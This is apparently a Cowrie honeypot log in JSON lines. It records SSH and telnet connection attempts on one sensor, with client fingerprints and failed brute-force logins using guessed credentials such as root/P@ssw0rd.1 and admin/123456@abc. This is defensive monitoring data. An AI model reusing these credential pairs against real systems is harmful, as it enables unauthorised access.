{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:46.042033Z","src_ip":"159.203.92.129","session":"c33280277256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456@abc","message":"login attempt [admin/123456@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:46.056064Z","src_ip":"159.203.92.129","session":"c33280277256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:47.062962Z","src_ip":"159.203.92.129","session":"c33280277256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":53048,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa93c83bede","protocol":"ssh","message":"New connection: 165.154.5.148:53048 (10.17.0.5:22) [session: eaa93c83bede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:47.548258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:47.553834Z","src_ip":"165.154.5.148","session":"eaa93c83bede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:47.765590Z","src_ip":"165.154.5.148","session":"eaa93c83bede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elemental","password":"E1ementa!5","message":"login attempt [elemental/E1ementa!5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:48.644022Z","src_ip":"165.154.5.148","session":"eaa93c83bede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:49.860029Z","src_ip":"165.154.5.148","session":"eaa93c83bede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.47702646255493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:57.283948Z","src_ip":"103.247.216.2","session":"a09ff0383f17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":40784,"dst_ip":"10.17.0.5","dst_port":23,"session":"ced8ca91c281","protocol":"telnet","message":"New connection: 103.247.216.2:40784 (10.17.0.5:23) [session: ced8ca91c281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:03.612813Z"}
{"eventid":"cowrie.session.closed","duration":30.502045392990112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:11.200422Z","src_ip":"103.247.216.2","session":"ab2b3a318598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":36254,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a1aea06d0b","protocol":"telnet","message":"New connection: 103.247.216.2:36254 (10.17.0.5:23) [session: 58a1aea06d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:25.675064Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":36280,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9241be5d403","protocol":"telnet","message":"New connection: 103.247.216.2:36280 (10.17.0.5:23) [session: e9241be5d403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:25.705924Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60680,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a026912445d","protocol":"ssh","message":"New connection: 159.203.92.129:60680 (159.203.135.109:22) [session: 2a026912445d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:30.484486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:30.489659Z","src_ip":"159.203.92.129","session":"2a026912445d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:30.494978Z","src_ip":"159.203.92.129","session":"2a026912445d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456Aa?","message":"login attempt [admin/123456Aa?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:30.508482Z","src_ip":"159.203.92.129","session":"2a026912445d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:31.517207Z","src_ip":"159.203.92.129","session":"2a026912445d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60752296447754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:34.220214Z","src_ip":"103.247.216.2","session":"ced8ca91c281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":38696,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b0e053734bd","protocol":"ssh","message":"New connection: 68.183.236.1:38696 (10.17.0.5:22) [session: 2b0e053734bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:43.270202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:43.280529Z","src_ip":"68.183.236.1","session":"2b0e053734bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:43.530036Z","src_ip":"68.183.236.1","session":"2b0e053734bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle10","password":"oracle10","message":"login attempt [oracle10/oracle10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:44.543722Z","src_ip":"68.183.236.1","session":"2b0e053734bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:45.791644Z","src_ip":"68.183.236.1","session":"2b0e053734bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":40794,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb2367b23b70","protocol":"ssh","message":"New connection: 165.154.5.148:40794 (10.17.0.5:22) [session: bb2367b23b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:47.603516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:47.608043Z","src_ip":"165.154.5.148","session":"bb2367b23b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:47.824777Z","src_ip":"165.154.5.148","session":"bb2367b23b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd.1","message":"login attempt [root/P@ssw0rd.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:48.728485Z","src_ip":"165.154.5.148","session":"bb2367b23b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:49.949376Z","src_ip":"165.154.5.148","session":"bb2367b23b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.57032299041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:56.245268Z","src_ip":"103.247.216.2","session":"58a1aea06d0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881274938583374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:56.587071Z","src_ip":"103.247.216.2","session":"e9241be5d403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":41324,"dst_ip":"10.17.0.5","dst_port":23,"session":"03793dc4221c","protocol":"telnet","message":"New connection: 103.247.216.2:41324 (10.17.0.5:23) [session: 03793dc4221c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:04:57.750700Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59324,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cc49cc7136f","protocol":"ssh","message":"New connection: 159.203.92.129:59324 (159.203.135.109:22) [session: 6cc49cc7136f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:18.290718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:18.297136Z","src_ip":"159.203.92.129","session":"6cc49cc7136f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:18.302681Z","src_ip":"159.203.92.129","session":"6cc49cc7136f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456a?","message":"login attempt [admin/123456a?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:18.316128Z","src_ip":"159.203.92.129","session":"6cc49cc7136f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:19.348578Z","src_ip":"159.203.92.129","session":"6cc49cc7136f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.531962394714355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:28.282572Z","src_ip":"103.247.216.2","session":"03793dc4221c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":49156,"dst_ip":"10.17.0.5","dst_port":22,"session":"c360189974ef","protocol":"ssh","message":"New connection: 68.183.236.1:49156 (10.17.0.5:22) [session: c360189974ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:40.988126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:40.993030Z","src_ip":"68.183.236.1","session":"c360189974ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:41.229619Z","src_ip":"68.183.236.1","session":"c360189974ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"qazwsx","message":"login attempt [administrador/qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:42.210041Z","src_ip":"68.183.236.1","session":"c360189974ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:43.453012Z","src_ip":"68.183.236.1","session":"c360189974ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":54464,"dst_ip":"10.17.0.5","dst_port":22,"session":"94d4bcd996d2","protocol":"ssh","message":"New connection: 165.154.5.148:54464 (10.17.0.5:22) [session: 94d4bcd996d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:47.793684Z"}
